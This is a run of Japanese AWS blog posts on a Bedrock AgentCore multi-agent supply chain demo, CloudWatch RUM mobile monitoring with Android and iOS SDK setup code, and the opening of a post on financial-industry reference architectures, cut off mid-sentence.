活用についてご関心がある方は、ぜひ AWS までお問い合わせください。本大会でお会いできた皆様、貴重なご意見をいただいた皆様に、この場を借りて御礼申し上げます。 Yohei Katayama 片山 洋平 は AWS Japan のパブリックセクターのソリューションアーキテクトです。主に医療機関をはじめとしたヘルスケア業界のお客様のソリューション構築の支援を行なっています。週末は登山を嗜んでいます。

午前2時。携帯電話に緊急のアラートが届きます: 主要港湾の閉鎖、47件の入荷便への影響、そして72時間後に迫ったプロモーション開始。急いでノートパソコンを開き、在庫ダッシュボード、物流プラットフォーム、サプライヤーポータルといった十数個の異なるシステムを確認します。これらは今起きている状況の一部しか伝えておらず、必要な答えは得られません。市場シェアを競合他社に奪われる前に、どのように出荷を再ルーティングし、在庫を再配分し、プロモーションでコミットした出荷量を維持できるのでしょうか？ 主要港湾の閉鎖などの混乱がサプライチェーンに影響を与える場合、一分一秒が重要です。小売・消費財企業にとって、労働力不足、気象現象、予期しない港湾閉鎖によるサプライチェーンの混乱は、数百万ドルの収益損失とステークホルダーとの関係の悪化をもたらす可能性があります。これらの混乱を管理し対応を策定することは、現代的なデータ駆動型で相互接続されたサプライチェーンを持つ組織であっても手動プロセスのままです。そのため従来のシステムは、データの処理、複数のステークホルダー間の調整、重要な時間内での実行可能な推奨事項の策定といった対応に苦慮することになります。 サプライチェーンレジリエンスの課題 現代の小売・消費財企業のサプライチェーンは、グローバルサプライヤー、配送センター、輸送ネットワーク、小売拠点にまたがる複雑なネットワークです。混乱が発生すると、意思決定者はいくつかの重要な課題に直面します。 データの断片化: 在庫システム、物流プラットフォーム、サプライヤーデータベース、外部データソースに重要な情報の散在 時間的制約: 出荷の再ルーティングや在庫の再配分において時間が重要に 複雑性: 並行して最適化が必要な複数の相互依存する変数の存在 ステークホルダーの調整: サプライヤー、物流プロバイダー、社内チーム間で同期した対応の必要性 従来のアプローチは手動分析と順次処理の意思決定プロセスに依存しており、現代のサプライチェーンの混乱の速度と複雑さに単純についていけません。 マルチエージェント AI: サプライチェーンインテリジェンスの新しいパラダイム マルチエージェント AI アーキテクチャは、複雑なビジネス問題へのアプローチ方法における根本的な変化を表しています。問題のすべての側面を処理しようとする単一の AI システムの代わりに、専門化された AI エージェントが協調して作業し、それぞれが専門分野に焦点を当てながら、スーパーバイザーエージェントがその結果を統制します。 現在一般提供されている Amazon Bedrock AgentCore のマルチエージェント協調機能と最新の基盤モデルを組み合わせることで、専門エージェントが連携してサプライチェーンの混乱にリアルタイムで対処する本番対応システムを構築できます。 アーキテクチャ概要: 協調して動作する専門エージェント 私たちのデモンストレーションのアーキテクチャは、Amazon Bedrock が提供する基盤モデル、Amazon Bedrock AgentCore が提供するAIエージェント運用機能、マルチエージェント協調機能を活用して、回復力のあるサプライチェーン対応システムを構成します。アーキテクチャは以下で構成されます。 スーパーバイザーエージェント: サプライチェーンコーディネーター 受信した混乱アラートを分析 専門エージェントにタスクを委任 推奨事項を実行可能な提案に統合 全体の対応ワークフローにわたってコンテキストを維持 専門協力エージェント: 物流最適化エージェント 代替輸送ルートの評価 運送業者の利用可能性と輸送能力の評価 利用可能な輸送と詳細の調査 物流調整の推奨事項の検証 実行レポートの物流コンポーネントの生成 在庫エージェント 混乱イベントおよび他のエージェントからの入力の検証 提案された様々なソリューションの影響分析の実行 在庫不足と提案された輸送の結果の計算 プロモーションリスクエージェント 混乱の影響を受ける製品および提案されたソリューションに含まれる製品への影響の分析 混乱または提案された代替案に影響を与える可能性のある関連プロモーションデータの取得 他のエージェントへのプロモーションの詳細の提供 出荷追跡エージェント 提案された調整に影響を与える上流の出荷遅延に関する詳細の提供 実現可能性レビューを通じて出荷先オプションの検証 AWSサービスを使用した技術的実装 このアーキテクチャは、エンタープライズ規模の AI アプリケーション向けに設計されている AWS サービスの基盤に構築されています。 Amazon Bedrock AgentCore は、ランタイム、メモリ、アイデンティティ、可観測性、API 統合機能を含む、AI エージェントを安全かつ大規模に展開・運用するためのインフラストラクチャを提供します。Amazon Bedrock AgentCore Runtime に展開されたマルチエージェントアーキテクチャにより、各専門エージェントは以下のことが可能になります。 マルチステップワークフローを自律的に実行 ナレッジベースを通じてエンタープライズデータソースに安全に接続 リアルタイムデータアクセスのためにAPIとアクショングループの呼び出し 会話のコンテキストとメモリの維持 マルチエージェントコラボレーションにより、スーパーバイザーエージェントは以下のことが可能になります。 複雑な混乱シナリオを管理可能なタスクに分解 適切な専門エージェントに委任 エージェント間の情報フローの調整 出力を包括的な推奨事項に統合 主要技術機能 インラインエージェント: 柔軟な対応シナリオのための実行時のエージェントの役割の動的な調整 ペイロード参照: 転送オーバーヘッドを削減し応答時間を改善する効率的なデータ処理。これにより、混乱イベントによりエージェントがトリガーされます。サプライチェーン担当者は混乱を解決するために対応を開始する時点で、ビジネス目標に合致したデータ駆動型の検証可能な解決計画を手にすることができます。 強化されたトレーサビリティ: 各エージェントの思考、カスタマイズされたツール相互作用の結果、ビジネス整合性のために生成 AI のハルシネーションに左右されない決定論的最適化戦略を含む、本番運用のための包括的な監視とデバッグ機能。 デモウォークスルー: 港湾閉鎖シナリオ 入荷便に影響する主要西海岸港湾の閉鎖を例にとって、システムが実世界の混乱にどのように対応するかを見てみましょう。 ステップ 1: 混乱の検出 システムは港湾閉鎖に関するアラートを受信します。それには影響を受ける出荷、推定期間、影響を受ける SKU の情報が含まれています。 図1: 配送分析　港湾閉鎖: 台風がシンガポールに影響を与えると予想されます。 図 1 に示されるように、システムは小売ユースケースと港湾閉鎖を混乱として特定しました。このシナリオでは、台風がシンガポールに影響を与えることが予想されます。画面は分析プロセスの開始を促す混乱イベントのシミュレーションを示しています。 ステップ 2: スーパーバイザーエージェント分析 サプライチェーンオーケストレーターは混乱の範囲を分析し、対応計画を作成し、専門エージェントにタスクを委任します。 図2: 混乱への対応の戦略 図2は、マルチエージェントアプリケーションによって特定された具体的な混乱への対応の戦略を表示しています。2つの推奨事項が示されており、1つは港湾閉鎖によって遅延する出荷をカバーするために利用可能な在庫の完全な移転です。2つ目の推奨事項は、今後のプロモーションキャンペーンをカバーするための追加の移転の提案です。図は、提案された戦略を承認または拒否するオプションも示しており、人間のドメイン・エキスパートがプロセスに依然として関与していることを示しています。 ステップ 3: マルチエージェント最適化戦略 在庫インテリジェンス・エージェントは、在庫切れを最小限に抑えるために活用できる代替在庫を持つ関連配送センターを特定します。 在庫エージェントは、SKU 毎およびパレット毎の詳細、ならびに注文のタイムリーな影響と将来予測される在庫影響を取得・提供します。 プロモーションリスク・エージェントは、最適化戦略に影響を与える可能性のある関連プロモーションデータを決定するために、利用可能な製品を今後のプロモーションに関連付けます。 出荷追跡エージェントは、実世界の出荷データに対して最適化を検証するために、アクティブおよび提案された出荷を調査します。 図3: マルチエージェント連携 図 3 は、小売シナリオにおける相互作用戦略とともに、各専門エージェントとそれぞれのタスクを示しています。サプライチェーンコーディネーター・エージェント、ロジスティクス・エージェント、在庫エージェント、プロモーションリスク・エージェント、および出荷追跡エージェントが、マルチエージェント連携に含まれています。 ステップ 4: 統合推奨事項 スーパーバイザーエージェントは、このシナリオの調査結果を次の3つのデータ駆動型提案に統合します。 即座の再配分: 需要の少ない地域から既存在庫を再配分 代替ルーティング: 3日遅延でメキシコ湾岸港を通じて出荷を再ルーティング サプライヤー加速: 5日のリードタイムで重要SKUのバックアップサプライヤーを活用 各提案には、コストへの影響、タイムライン見積もり、リスク評価が含まれ、すべて初期の混乱アラートから数分以内に生成されます。 図 4: 承認に基づく影響の概要を示しています。 特定されたシナリオである港湾閉鎖に対する承認された戦略に基づく影響のサマリーが示されています。マルチエージェント・アプリケーションは、受け入れられた提案が輸送コストで-$4,275、確保できる総収益で$28,500の結果をもたらすと判断しました。また、注文番号、注文あたりの単位、アイテム ID、配送センター、到着日を含む両方の承認された移転注文も表示されています。 ビジネスインパクトと測定可能な成果 サプライチェーンの回復力のためにマルチエージェントAIアーキテクチャを実装する組織は、次の重要な利益を得ています。 速度: 複雑な混乱シナリオに対する応答時間を時間から分に短縮 精度: データ駆動型推奨事項が推測を排除し、コストのかかるエラーを削減 拡張性: 追加人員なしで複数の同時混乱を処理 透明性: コンプライアンスと学習のための意思決定プロセスの完全な監査証跡 マルチエージェントアプローチは継続的改善も可能にします。それぞれの混乱対応は、個別の長期記憶戦略として Amazon Bedrock Agent Core Memory に保持され、エージェントのパフォーマンスを改善し機能を拡張します。監査人とコンプライアンスは、エージェントプロセスをレビューし、意思決定方法を記録し、Amazon Bedrock AgentCore Policy を通じて既存のポリシーに従ってすべての決定が行われたことを確認するためにメモリをレビューすることができます。 Amazon Bedrock AgentCore は、組み込まれたセキュリティ、拡張性、可観測性を備えた、プロトタイプから本番環境への移行に必要な本番グレードのインフラストラクチャを提供します。 結論: サプライチェーンレジリエンスの未来 サプライチェーンの混乱は避けられないものですが、その影響は避けられないものである必要はありません。Amazon Bedrock AgentCore を基盤とするマルチエージェントAIアーキテクチャは、小売・消費財企業が複雑性と不確実性に対応する方法における根本的な進歩を表しています。 専門化された AI エージェントが複雑な問題に協力して取り組むことを可能にすることにより、組織はサプライチェーンの混乱を危機から、明確でデータ駆動型の対応のみちすじを持つ管理可能なイベントへと変化させることができます。 このテクノロジーは今日、本番環境で利用可能です。技術リーダーにとっての問題は、サプライチェーンの回復力のためにマルチエージェント AI を採用するかどうかではなく、次の混乱からビジネスを守るためにどれだけ迅速に実装できるかということです。 マルチエージェント AI をサプライチェーンに活用する準備はできていますか？ NRF 2026: Retail’s Big Show のブース 4438 にある AWS Industries Retail & Consumer Goods スペースを訪れて、実際のデモをご覧ください。また、本番環境対応のマルチエージェントシステムの構築について詳しく知るには、 Amazon Bedrock AgentCore のドキュメントをご確認いただくか、お客様固有のサプライチェーンの課題について話し合うために AWS アカウントチームにお問い合わせください。 著者について David Bounds David は AWS のエンタープライズソリューションアーキテクトで顧客が AWS 上で彼らのワークロードを加速することを支援しています。機械学習と生成 AI に焦点を当て、あらゆる種類、視点、経験レベルの顧客に技術支援を提供しています。David はロンドンに住み、天気を愛し、ボクサー犬の散歩、そして物語の収集を楽しんでいます。 Angel Goni Oramas Angel はアトランタを拠点とするプリンシパルソリューションアーキテクトで、金融サービス、小売、消費財業界にわたって15年以上の IT 経験を持っています。 本稿の翻訳は、ソリューションアーキテクトの斉藤大徳が担当しました。原文は こちら 。

本記事は 2025 年 12 月 9 日 に公開された「 Amazon CloudWatch RUM now supports mobile application monitoring 」を翻訳したものです。 Amazon CloudWatch RUM のモバイル対応を発表できることを嬉しく思います。これにより、AWS のリアルユーザーモニタリング (RUM) 機能が iOS および Android アプリケーションにも拡張されます。これまで Web アプリケーションでのみ利用可能だったモニタリングツールが、モバイル開発者にも提供されるようになりました。 モバイルデバイスが日常生活においてますます重要になる中、モバイルアプリの最適なパフォーマンスとユーザーエクスペリエンスを確保することがこれまで以上に重要になっています。しかし、モバイルアプリのモニタリングには、デバイス、オペレーティングシステム、アプリケーションバージョン、ネットワーク、ユーザーインタラクションの多様性により、独特の課題があります。モバイルアプリ開発者は、「テストでは完璧に動作するのに、実環境ではパフォーマンスの問題が発生する」という継続的な課題に直面しています。合成テストや従来のモニタリング手法は実世界のパフォーマンスに関する洞察を提供しますが、エンドユーザーエクスペリエンスを理解するために必要なデータが不足しています。そこで CloudWatch RUM Mobile の出番です。実際のユーザーの手の中でモバイルアプリがどのように動作しているかについて深い洞察を提供するメトリクスを収集できます。 モバイル向け Amazon CloudWatch RUM モバイル向け Amazon CloudWatch RUM は、エンドユーザーのモバイルアプリが使用される際に、非常に重要なパフォーマンスデータとユーザー行動メトリクスを収集するのに役立ちます。軽量な SDK を Android または iOS アプリに実装することで、アプリのパフォーマンス、ユーザーインタラクション、ユーザーエクスペリエンスに影響を与える潜在的な問題に関する豊富な情報をキャプチャできます。 開始するには、CloudWatch RUM コンソールで「アプリケーションモニター」を作成し、SDK をアプリに統合してデプロイするだけです。SDK はユーザーがアプリを操作する際にバックグラウンドで実行され、貴重なデータを RUM に送信して集約と分析を行います。このツールは単独で使用することも、 Amazon CloudWatch Application Signals や AWS X-Ray などの他の AWS サービスと組み合わせて使用することもでき、Web およびモバイルプラットフォーム全体でアプリケーションのパフォーマンスを包括的に把握できます。 開発プロセスを変革する主なメリット CloudWatch RUM Mobile は、開発チームがリアクティブなデバッグからプロアクティブな最適化へと移行できるようにします。実際のユーザーからリアルタイムのパフォーマンスメトリクスを収集し、ユーザー満足度に影響を与える前にパフォーマンスの問題を特定できます。システムは画面の読み込み時間を監視し、アプリのクラッシュ、Android の ANR (Application Not Responding) または iOS のアプリハングを完全なコンテキストとともに追跡し、これらすべてのデータを包括的なダッシュボードで視覚化します。 変革は即座に起こります。ユーザーからの苦情を待ったり、バグを再現しようとしたりする代わりに、ユーザーがアプリとやり取りするたびに何を経験しているかについて、明確で実用的な洞察が得られます。 はじめに: モバイルモニタリング強化への道 このブログでは、 Amazon CloudWatch RUM を Android および iOS モバイルアプリに統合する方法を学びます。モバイル向け CloudWatch RUM の使用を開始するには、以下の詳細な手順に従って、Android または iOS アプリのモニタリングをセットアップして実装します。 Android 用アプリケーションモニターのセットアップ 開始するには、まず「アプリケーションモニター」を作成する必要があります。これを行うには、 AWS CloudWatch コンソール を開き、 Application Signals に移動して RUM を選択します。次に「 Add app monitor 」をクリックします。 図 1: AWS CloudWatch コンソールからアプリモニターを作成 これで「Android」と「iOS」という 2 つの新しいオプションが表示されます。「App monitor name」の下でアプリモニターに名前を付け、プラットフォームとして「Android」または「iOS」のいずれかを選択して続行します (ここでは Android を選択します)。 図 2: アプリケーションモニターの作成 – Android と iOS のオプション 要件に基づいて有効にできるいくつかの「オプション」フィールドがあります。 RUM テレメトリ を Amazon CloudWatch Logs で利用できるようにする場合は、「Data Storage」オプションをチェックします リソースベースのポリシーを使用してアクセスを制御する場合は、「Attach a public Resource Based Policy」をチェックします スパン を X-Ray で利用できるようにする場合は、「Active tracing」オプションをチェックします 図 3: アプリケーションモニターの作成 – オプションフィールド Add app monitor をクリックして完了します。 コンソールは、データの収集を開始するために Android アプリケーションに追加する必要がある コードスニペット を提供します。コードは 「手動計装」 と 「ゼロコード計装」 の両方で提供されます。 スニペットを保存しましょう。これは、このブログの後半の「 Android アプリの計装 」セクションで使用します。 図 4: アプリモニターの作成 – 手動およびゼロコード計装用のコードスニペット Android アプリの計装: 実装パスの選択 アプリケーションモニターが作成されたので、テレメトリデータをアプリケーションモニターに送信するようにモバイルアプリを計装しましょう。上記で気づいたように、モバイルアプリを計装または設定するには、 ゼロコード計装 と 手動計装 の 2 つのオプションがあります。 まず、「 アプリケーションモニターのセットアップ 」セクションのコードスニペットを手元に用意してください。このセクションを完了するために必要になります。コードは https://github.com/aws-observability/aws-otel-android でも入手できます。それでは、これらの各オプションを確認しましょう。 オプション 1: ゼロコード計装 (エージェント) これには、まずアプリケーションの "app/build.gradle" ファイルにいくつかの依存関係を注入する必要があります。以下は Kotlin DSL の例です。 plugins { id("com.android.application") id("org.jetbrains.kotlin.android") } dependencies { // ADOT Android Agent - includes automatic instrumentation implementation("software.amazon.opentelemetry.android:agent:1.0.0") // Automated HTTP client instrumentation with byteBuddy (optional but recommended) byteBuddy("io.opentelemetry.android.instrumentation:okhttp3-agent:0.15.0-alpha")// if you are using OkHttp-3.0 byteBuddy("io.opentelemetry.android.instrumentation:httpurlconnection-agent:0.15.0-alpha") // if you are using URLConnection/HttpURLConnection /HttpsURLConnection } 次に、ゼロコード設定では、アプリケーションの "res/raw" ディレクトリの下に "aws_config.json" というファイルを作成し、以下のコードスニペットを記述する必要があります ( 各パラメータの値を必ず置き換えてください ) 。 { "aws": { "region": "<your-region>", // specify the AWS region your app monitor has been created in "rumAppMonitorId": "<your-app-monitor-id>", // replace with the ID of the app monitor created above }, // optional attributes that will be appended to all OpenTelemetry application spans and events " otelResourceAttributes ": { "service.name": "<your_app>", // Note: Update this with your application name "service.version": "1.0.0" // specifying service.version will allow you to filter telemetry on the RUM console based on your running app's version } } これで完了です! これは、Android エージェントを初期化し、CloudWatch RUM アプリケーションモニターへのテレメトリの収集を開始するために必要な最小限のものです。 オプション 2: 手動計装 クライアントをプログラムで設定するには、オプション 1 で使用した「agent」モジュールの代わりに、軽量な「core」モジュールを使用します。これには、アプリケーションの "app/build.gradle" ファイルに以下の SDK を追加しましょう。 plugins { id("com.android.application") id("org.jetbrains.kotlin.android") } dependencies { implementation("software.amazon.opentelemetry.android:core:1.0.0") // Automated HTTP client instrumentation with ByteBuddy (optional but recommended) byteBuddy("io.opentelemetry.android.instrumentation:okhttp3-agent:0.15.0-alpha") byteBuddy("io.opentelemetry.android.instrumentation:httpurlconnection-agent:0.15.0-alpha") } 次に、アプリケーションで AWS Distro for OpenTelemetry (ADOT) Android エージェントを初期化する必要があります。 class MyApplication : Application() { override fun onCreate() { super.onCreate() OpenTelemetryRumClient { androidApplication = this@MyApplication awsRum { region = "<your-region>" appMonitorId = "<your-app-monitor-id>" } otelResource = Resource.builder() .put("service.name", "MyApp") // Note: Update this with your application name .put("service.version", "1.0.0") // Note: Keep this updated with latest version .build() } } } 最後に、Application クラスがまだない場合は、この新しい「MyApplication」を Android マニフェストに登録する必要があります。 <application> android:name="com.example.MyApplication" <!-- All other attributes, activities, etc --> android:label="MyApplication"> </application> この後、アプリケーションを実行して、アプリケーションモニターへのテレメトリの受信を開始できるはずです。 iOS 用アプリケーションモニターのセットアップ iOS アプリケーション用の アプリケーションモニター を作成するプロセスは、上記で示した Android アプリケーションの場合と同じです。iOS 用のアプリモニターが作成されたら、テレメトリデータの送信を開始するためにアプリケーションを計装する方法を見てみましょう。iOS のコードも https://github.com/aws-observability/aws-otel-swift で入手できます。 オプション 1: ゼロコード計装 (エージェント) Android の「アプリケーションモニター」と同様に、「アプリケーションモニター」作成の最終ページで iOS アプリを計装するための「 コードスニペット 」を取得できます。これらの手順に基づいて、 Swift SDK の依存関係をアプリケーションの "Package.swift" ファイルに注入します。 // In your package dependencies: dependencies: [ .package(url: "https://github.com/aws-observability/aws-otel-swift.git", .upToNextMajor(from: "1.0.0")) ] // In your target dependencies: targets: [ .target( name: "<YourAppTarget>", dependencies: [ // Only for automatic initialization .product(name: "AwsOpenTelemetryAgent", package: "aws-otel-swift"), ] ) ] SDK は、「AwsOpenTelemetryAgent」モジュールがアプリにインポートされると自動的に初期化されます。アプリバンドルのルートディレクトリで "aws_config.json" という名前のファイルを探します (各パラメータの値を必ず置き換えてください) 。 { "aws": { "region": "<your-region>",// specify the AWS region your app monitor has been created in "rumAppMonitorId": "<your-app-monitor-id>" // replace with the ID of the app monitor created above }, "otelResourceAttributes": { "service.name": "<your-app>", // Note: Update this with your application name "service.version": "1.0.0" // Note: Keep this updated with latest application version } } オプション 2: 手動計装 クライアントをプログラムで設定するには、プロジェクトの "Package.swift" ファイルに以下の依存関係を追加します。 // In your package dependencies: dependencies: [ .package(url: "https://github.com/aws-observability/aws-otel-swift.git", .upToNextMajor(from: "1.0.0")) ] // In your target dependencies: targets: [ .target( name: "YourAppTarget", dependencies: [ .product(name: "AwsOpenTelemetryCore", package: "aws-otel-swift"), ] ) ] 次に、アプリケーションで ADOT Swift エージェントを初期化します。 import AwsOpenTelemetryCore class AppDelegate: UIResponder, UIApplicationDelegate { func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { AwsOpenTelemetryRumBuilder.create( config: AwsOpenTelemetryConfig( awsRum: AwsRumConfig( region: "<your-region>", appMonitorId: "<your-app-monitor-id>" ), otelResourceAttributes: [ "service.name": "<your-app>", // Note: Update this with your application name "service.version": "1.0.0" // Note: Keep this updated with latest application version ] ) )?.build() return true } } アプリのパフォーマンスの可視化: データが洞察に変わる場所 モバイル向け CloudWatch RUM がデータの収集を開始すると、CloudWatch RUM はモバイルパフォーマンスのコマンドセンターに変わり、生のパフォーマンスデータを実用的な洞察に変える複数の専門的なビューを提供します。 表示される RUM アプリケーションモニターのリストから、上記のセクションで作成したアプリケーションモニターを選択します。これにより、Performance、Errors、Sessions、Metrics、Configuration などのさまざまなタブを持つダッシュボードが表示され、画面、アプリバージョン、OS バージョン、デバイス、国、リージョン、地域によるフィルタリング機能が提供されます。 Performance タブ: 速度と応答性の詳細な分析 CloudWatch RUM コンソールの Performance タブは、モバイルアプリのパフォーマンスに関する洞察を提供します。この詳細ビューでは、画面読み込み時間を画面名、OS バージョン、アプリバージョン、デバイス、国別に分類して表示します。以前は見えなかったパターンが明確になります。特定の国ではネットワークインフラストラクチャの違いによりアプリのパフォーマンスが異なる、または特定のデバイスモデルが特定の機能で苦労しているなどです。チャート内の 画面読み込み時間のデータポイント をクリックすると、右側に診断パネルが開き、データポイントに関連する詳細な洞察 (最新の関連セッションなど) と、1 つまたは他の類似セッションのトラブルシューティングを行うための Sessions タブへのリンクが提供されます。 App Launch time ビューでは、アプリケーションの起動パフォーマンスを詳細に分析し、起動タイプ (コールド/ウォーム)、OS バージョン、アプリバージョン、デバイス、国別に起動時間を分類します。この詳細なビューは、パフォーマンスのボトルネックを特定するのに役立ちます。特定の OS バージョンでコールドスタートが遅い、または特定のデバイスモデルが初期化で苦労しているなど、最も影響力のあるユーザーセグメントに対して的を絞った最適化の取り組みを可能にします。 Locations タブは、アプリケーションパフォーマンスに関する地理的な洞察を提供し、国、リージョン、地域全体のメトリクスを表示して、場所ベースのパフォーマンスパターンを明らかにします。このビューは、地域のインフラストラクチャの課題、ネットワークレイテンシーの問題、またはユーザーがパフォーマンスの低下を経験している地理的エリアを特定するのに役立ちます。 図 5: AWS CloudWatch RUM – Performance タブ Errors タブ: デバッグの相棒 Errors タブは、エラー追跡を体系的な問題解決に変換します。アプリケーションの問題を 3 つのカテゴリに分類します: Network Errors、Crashes、ANRs/App hangs。Network Errors タブには、HTTP リクエストの折れ線グラフがあり、HTTP パフォーマンスメトリクスを表示し、左の Y 軸に失敗率 (HTTP エラー、HTTP フォールト、ネットワーク障害) を、右の Y 軸に HTTP レイテンシーを示します。この時系列データポイントにより、ユーザーはクリックして、診断パネルでトラブルシューティングのために関連するスパンとセッションを表示できます。下部のテーブルには、最も一般的な 100 のネットワークルートがリストされます。 同様に、 Crashes および ANRs/App hangs タブには、各エラーのカウントの折れ線系列が表示されます。下部のテーブルには、最も一般的な上位のクラッシュメッセージ/ANR スタックトレースが表示されます。エラーメッセージをクリックすると、クイックリファレンス用にスタックトレース全体がポップアップ表示されます。 図 6: AWS CloudWatch RUM – Errors タブ Sessions タブ: ユーザージャーニーの追跡 次に、 Sessions タブでは、詳細なウォーターフォール表示を使用して、アプリ内の個々のユーザージャーニーを追跡できます。これらの可視化は、ユーザーインタラクション中に時間がどこで費やされているか、ユーザーがどこで摩擦や遅延を経験しているかを正確に示します。このユーザー中心のビューは、技術的なパフォーマンスだけでなく、全体的なユーザーエクスペリエンスを最適化するのに役立ちます。 すべてのセッションをリストするテーブルがあり、時刻の降順にソートされています。下部には、選択したセッションのすべてのテレメトリを視覚化するウォーターフォールがあります。ウォーターフォールの各行を選択して、診断パネルを開くことができます。行が HTTP リクエストの場合、トレースコンソールにディープリンクされた traceId があります。例外、クラッシュ、または ANR/App hang を受信した HTTP リクエストの場合、診断パネルにはスタックトレースを表示する Exception タブもあります。ウォーターフォールの「View」ボタンは、ワンクリックで例外に直接移動する簡単な方法でもあります。 図 7: AWS CloudWatch RUM – Sessions タブ – ARN 図 8: AWS CloudWatch RUM – Sessions タブ – HTTP traceId Metrics タブ: アプリケーションヘルスのモニタリング Metrics タブは、レイテンシー、エラー、ボリューム、拡張メトリクスに関するアプリケーションのパフォーマンスに関するリアルタイムデータを視覚化するのに役立つ包括的なダッシュボードを提供します。 このタブには、右上に「 Add to dashboard 」というオプションもあり、このデータを他の CloudWatch ダッシュボードにエクスポートできます。 図 9: AWS CloudWatch RUM – Metrics タブ Configuration タブ: 継続的な管理 最後に、 Configuration タブは、アプリモニター設定とインストルメンテーションコードスニペットへのアクセスを容易にし、モニタリングのニーズが進化しても、継続的な管理と更新を容易に行えます。 図 10: AWS CloudWatch RUM – Configuration タブ まとめ モバイル向け Amazon CloudWatch RUM は、モバイルアプリケーションのオブザーバビリティをリアクティブなトラブルシューティングからプロアクティブな最適化に変革し、パフォーマンスモニタリングを通じてビジネスインパクトをもたらします。チームは、地域のクラッシュを引き起こすローカライゼーションのバグや、コールドスタートのパフォーマンスを低下させるサードパーティ SDK などの重要な問題を特定して解決できます。CloudWatch Application Signals とのシームレスな統合により、モバイルユーザーエクスペリエンスからバックエンドの依存関係までのエンドツーエンドのトレースが可能になります。 この機能は、CloudWatch RUM が動作するすべての商用リージョンで利用できます。この実装により、チームは既存の開発ワークフローを維持しながらパフォーマンスデータを収集でき、アプリケーションスタック全体でトレースされたユーザーセッションからのメトリクスを使用して、組織がモバイルアプリ開発にアプローチする方法を変えます。 この新機能の詳細については、 ドキュメント をご覧ください。また、 Android および iOS の入門ガイドもご覧ください。最後に、 料金 の詳細もご確認いただけます。 著者について Ruchika Modi Ruchika Modi は、Amazon Web Services (AWS) の Lead DevOps Consultant です。クラウドインフラストラクチャ、自動化、コンテナ化、CI/CD を専門としています。安全でスケーラブルかつ高可用性のクラウドネイティブアーキテクチャの構築において豊富な経験を持ち、DevOps 手法を使用した最先端のクラウドソリューションの設計と実装に関する深い理解と専門知識を持っています。仕事以外では、未開拓の新しい場所への旅行、ペットとの時間、Kindle での読書を楽しんでいます。 Siva Guruvareddiar Siva Guruvareddiar は、AWS の Senior Solutions Architect であり、お客様が高可用性システムを設計するのを支援することに情熱を注いでいます。マイクロサービス、コンテナ化、オブザーバビリティ、サービスメッシュ、クラウド移行を使用して、プラットフォームインフラストラクチャと内部アーキテクチャをモダナイズすることで、クラウドネイティブの採用を加速させます。LinkedIn で連絡できます: linkedin.com/in/sguruvar Vijay Kumar Vijay Kumar は、セキュリティとオブザーバビリティの領域で革新的な製品を提供してきた実績を持つ Senior Product Manager であり、深い技術的専門知識とユーザー中心の設計を活用しています。 この記事は Kiro が翻訳を担当し、Solutions Architect の Aya Hara がレビューしました。

「金融リファレンスアーキテクチャ日本版」 では、2022 年の初版公開以来、継続的にコンテンツの拡充を進めています。その中で、「ミッションクリティカル (勘定系) 」や「顧客チャネル」など、金融業界固有のワークロードに応じたリファレンスアーキテクチャが AWS CDK サンプルコードと共に公開されています。例えば「ミッションクリティカル (勘定系) 」は勘定システムだけでなく、一般的なOLTPシステムでご利用できます。 一方で、具体的なシステム特性を踏まえた上で、より詳細な考慮点やアーキテクチャ上の決定根拠を知りたいというニーズは以前からありました。そこで今回、国内のみならずグローバルも含めた先進事例を分析し、アーキテクチャ上の重要ポイントを整理したドキュメントとして公開しました。 今回公開されたのは以下3つのユースケースです。 証券会社における OMS (Order Management System) クレジットカードのイシュアシステム 保険業界におけるデータ分析システム これらの各ユースケースごとに、アーキテクチャの目的や特徴に関する解説と、想定されるFAQも併せて記載しています。本記事では各ユースケースの概要について解説します。 証券会社における OMS (Order Management System) 証券会社の注文管理システム (OMS) をクラウド環境で構築する際のリファレンスアーキテクチャを公開しました。従来オンプレミスやメインフレームで運用されてきた証券会社の基幹システムを、低レイテンシー・高スケーラビリティ・高可用性のバランスを取りながらクラウドネイティブに構築するための指針を、国内外で稼働している複数の事例を踏まえて示しています。 実装上のポイントとして以下のような内容を解説しています Amazon ElastiCache for Redis によるインメモリメッセージングで低レイテンシーなコンポーネント間通信を実現 マイクロサービス化により各コンポーネントの独立したスケーリングを実現し、寄り付き時などの予測可能なピーク負荷にも対応 AWS Outposts を活用した取引所近接配置により、EMS との通信レイテンシーを最小化 詳細は本文： 金融ワークロードアーキテクチャ解説 資本市場 OMS をご覧ください。 クレジットカードのイシュアシステム クレジットカードのイシュアシステムをオンプレミスから AWS に段階的に移行・構築運用する際のリファレンスを公開しました。キャンペーン等に起因した決済需要による高トラフィック処理やリアルタイム承認要件への対応、決済技術や業界標準の導入／金融規制要件の変更への対応、業務継続性を支えるための高可用性の担保等、クレジットカード業界に求められる様々な要素を実現するためのアーキテクチャをお客様の先行事例を元に示しています。 Authorization（承認）および Reconciliation（クリアリングファイルと承認済みデータの突合せ）の機能を AWS 上に構築し、Settlement（資金精算）をオンプレミスで構築するアーキテクチャパターンを示しています。 その他、実装上のポイントとして以下のような内容を解説しています マルチリージョンでのActive – Active 構成を採用し、カード番号、顧客ID 等のデータ内容ごとにオンプレミスからどちらのリージョンに振り分けるかを判定することで各リージョンごとに処理対象を分離し、整合性と可用性の両立を実現 マイクロサービスアーキテクチャを採用うぃ各機能の独立したスケールアウトを実現 リクエストヘッジを導入したDynamoDB のパフォーマンス担保 詳細は本文： クレジットカードのイシュアシステム をご覧ください。 保険業界におけるデータ分析システム 保険業務に必要なデータ処理を実現するデータプラットフォームをAWS上に構築・運用する際のリファレンスを公開しました。データ量急増による処理能力不足とコスト増大、レガシーシステムの機能制約による多様化ニーズへの対応困難、セキュリティ境界の曖昧さによるコンプライアンス対応の課題など、保険業界に求められる様々な要素を実現するためのアーキテクチャをお客様の先行事例を元に示しています。 統合データレイクを中心としたデータプラットフォームにより、保険業務における契約者情報、健康情報、財務データの取り込みから分析機能をクラウド上でシステム化しています。マルチアカウント戦略を採用し、データ取り込み、データレイク、データ変換、データウェアハウス、データ分析の処理ごとに分離されたアカウントで実行することで、 PII / PHI データの完全な分離とセキュリティ境界の明確化を実現しています。 実装上のポイントとして以下のような内容を解説しています Amazon Aurora をメタデータリポジトリとして活用し、AWS Glue フレームワークによるメタデータ駆動型ジョブ自動生成で異なるソースからの統一的なデータ取り込みを実現 Amazon Redshift Data Sharing による計算分離アーキテクチャで、プロビジョニングクラスターでの ETL / ELT 処理とサーバーレスクラスターでの分析処理を完全分離し、パフォーマンス競合を回避 AWS Organizations によるマルチアカウント戦略と 